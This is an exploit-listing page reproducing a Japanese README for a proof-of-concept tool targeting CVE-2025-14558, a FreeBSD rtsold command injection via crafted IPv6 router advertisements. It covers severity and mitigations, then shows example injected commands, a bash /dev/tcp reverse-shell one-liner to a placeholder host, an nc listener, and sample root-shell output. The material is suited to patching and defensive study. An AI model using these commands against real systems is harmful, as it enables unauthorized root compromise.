Sploitus

Exploit for Blackash

kitploit · 2026-08-31

Exploit Code

MARKDOWN172 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROCKMELODIES-BLACKASH-CVE-2025-14558
# 🚨 CVE-2025-14558 : **FreeBSD (IPv6) における深刻なリモートコード実行**

![G8195ymXcAAjXC2](https://assets.kitploit.com/production/public/readmes/31489/229ddd78cbeefed01135b52ea1d3fe9f9b6aa10f859bdcd91d47d066588501ce.png)

* * *

### 🧠 概要

**CVE-2025-14558** は、IPv6 ルーター要請サービスを使用する **FreeBSD** システムに影響を与える **深刻なリモートコード実行 (RCE)** 脆弱性です。信頼できないネットワーク入力の処理方法の欠陥により、攻撃者が任意のシェルコマンドを実行できるようになります。

* * *

### 📊 深刻度

  * **CVSS v3 スコア:** **9.8 / 10** 🔥
  * **リスクレベル:** **深刻**
  * **必要な権限:** なし
  * **ユーザー操作:** なし



* * *

### 🎯 影響を受けるコンポーネント

  * `rtsol(8)`
  * `rtsold(8)`
  * FreeBSD システムで **IPv6 ステートレスアドレス自動設定 (SLAAC)** を使用しているもの



* * *

### ⚙️ 技術的詳細

  * 悪意のある IPv6 **ルーターアドバタイズメント (RA)** パケットに、巧妙に細工された **ドメイン検索リストオプション** を含めることができます
  * 入力が `resolvconf(8)` に **安全でない方法で** 渡されます
  * **不適切なシェルクォーティング** によりコマンドインジェクションが可能になります
  * **root として任意のコマンド実行** に至ります



* * *

### 🕸️ 攻撃ベクトル

  * 🌐 **ネットワークベース**
  * 📍 攻撃者は **同じローカルネットワークセグメント** にいる必要があります
  * 認証や資格情報は不要



* * *

### 💥 影響

悪用に成功した場合、攻撃者は以下が可能です:

  * **完全なシステム侵害** を達成
  * 任意のコマンドを実行
  * システム設定を変更
  * 永続性の確保または横移動を確立



* * *

### 🧪 エクスプロイトの入手可能性

  * ✅ **公開された概念実証 (PoC)** が存在します
  * 細工された IPv6 RA パケットによるコマンド実行を示します



* * *

### 🛡️ 緩和策と防御

**強く推奨される対策:**

  * 🔧 **公式の FreeBSD セキュリティパッチ** を適用する
  * 🚫 IPv6 RA が不要な場合は `rtsol` / `rtsold` を無効にする
  * 🔒 信頼できない IPv6 ルーターアドバタイズメントをフィルタリングまたはブロックする
  * 🧱 ネットワークセグメンテーションを使用してローカル攻撃者の露出を制限する



* * *

### 📝 重要なポイント

> **信頼できないネットワーク上で IPv6 ルーターアドバタイズメントをリッスンしている FreeBSD システムはすべて高いリスクにさらされています。** すぐにパッチを適用するか、影響を受けるサービスを無効にしてください。

* * *

**CVE-2025-14558** の PoC スクリプトが脆弱な FreeBSD システム(パッチ未適用、`rtsold` が実行中で IPv6 RA メッセージを処理している)で正常に動作した場合:

### ターゲット(脆弱な FreeBSD マシン)側:

  * 注入されたコマンドは **即座に root として実行** されます(`rtsold` は root で動作し、悪意のあるドメインを含む `/sbin/resolvconf` を呼び出すため)。
  * デフォルトではコンソールやログに目に見える出力は表示されません(コマンドはバックグラウンドで静かに実行されます)。
  * 発生する例: 
    * `--command "id > /tmp/pwned"` のような単純なテストの場合:

      * 次のような出力を含むファイル `/tmp/pwned` が作成されます:

root@kitploit:~
            
            uid=0(root) gid=0(wheel) groups=0(wheel)
            

    * `--command "touch /tmp/exploit_success"` の場合:

      * 空のファイル `/tmp/exploit_success` が出現します。
    * `--command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"` のようなリバースシェルの場合:

      * ターゲットに目に見える即時の変化はありませんが、リスナーへの接続試行が行われます。



ターゲットで以下のようなコマンドで確認します:

root@kitploit:~
    
    
    ls -l /tmp/pwned
    cat /tmp/pwned
    

### 攻撃者側(スクリプト実行時):

  * スクリプトは以下のように出力します:

root@kitploit:~
        
        [+] Sending malicious RA on eth0
        [+] Injected command: id > /tmp/pwned
        [+] Target must run vulnerable rtsold and process the RA
        [+] Done. Check target for execution (e.g. /tmp/pwned)
        
        

  * リバースシェルの場合:成功すると、`nc -lvnp 4444` が接続を受け取り、root シェルを取得します:

root@kitploit:~
        
        listening on [any] 4444 ...
        connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
        bash: cannot set terminal process groups: No job control in this shell
        bash: no job control in this shell
        root@vulnerable-host:~ #
        

* * *

(これで root シェルを取得しました – `id`、`whoami` などのコマンドを入力できます)




### 動作しない場合:

  * ファイルが作成されない/接続がない → 原因:ターゲットがパッチ適用済み、`rtsold` が実行されていない、同じ L2 ネットワーク上にいない、ファイアウォールが RA をブロックしている、または IPv6 が無効になっている。



これは、脆弱な(2025年12月16日のパッチ適用前の)FreeBSD システム上での管理されたラボでのみ観察可能です。2025年12月23日時点で、実際の環境での公開エクスプロイト報告はありません。本番環境では直ちにパッチを適用してください。

* * *

#### **⚠️ 免責事項:この情報は情報提供のみを目的として提供されており、セキュリティ、法的、または運用上のアドバイスを構成するものではありません。是正措置を講じる前に、必ず公式ベンダーの勧告、パッチ、およびガイダンスを確認し、それに従ってください。**